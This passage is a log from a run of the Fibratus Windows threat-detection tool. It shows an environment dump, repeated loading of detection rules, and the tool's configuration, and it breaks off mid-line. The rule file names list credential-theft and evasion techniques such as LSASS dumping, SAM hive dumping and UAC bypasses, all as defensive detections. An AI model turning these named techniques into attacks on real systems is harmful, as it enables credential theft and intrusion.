WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T18:33:09+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T18:33:09+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:33:09+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:33:50+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:33:50+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T18:33:50+01:00 level=info msg=bootstrapping with pid 1356. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T18:33:50+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ enabled=>false use-template=>true to=>[] content-type=>text/html port=>25] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true flush-interval=>1s enable-mem=>false enable-threadpool=>false min-buffers=>16 max-buffers=>36 enable-audit-api=>true enable-fileio=>true enable-net=>true enable-handle=>false stack-enrichment=>true enable-image=>true enable-dns=>false enable-registry=>true enable-thread=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text log-stdout=>true max-backups=>15 level=>info max-size=>100 max-age=>0] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false exchange-type=>topic timeout=>5s url=>amqp://localhost:5672 vhost=>/ exchange=>fibratus durable=>false routing-key=>fibratus enabled=>false delivery-mode=>transient passive=>false] http=>[ enabled=>false tls-insecure-skip-verify=>false timeout=>5s endpoints=>[] enable-gzip=>false method=>POST serializer=>json] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ flush-period=>1s template-name=>fibratus bulk-workers=>1 trace-log=>false servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck-interval=>10s index-name=>fibratus healthcheck=>true timeout=>5s healthcheck-timeout=>5s sniff=>false enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false excluded-files=>[] skip-mmaps=>false scan-timeout=>10s skip-allocs=>false enabled=>false excluded-procs=>[] fastscan=>true skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T18:33:51+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:33:53+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:37:55+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T18:37:55+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:37:55+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:37:58+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from 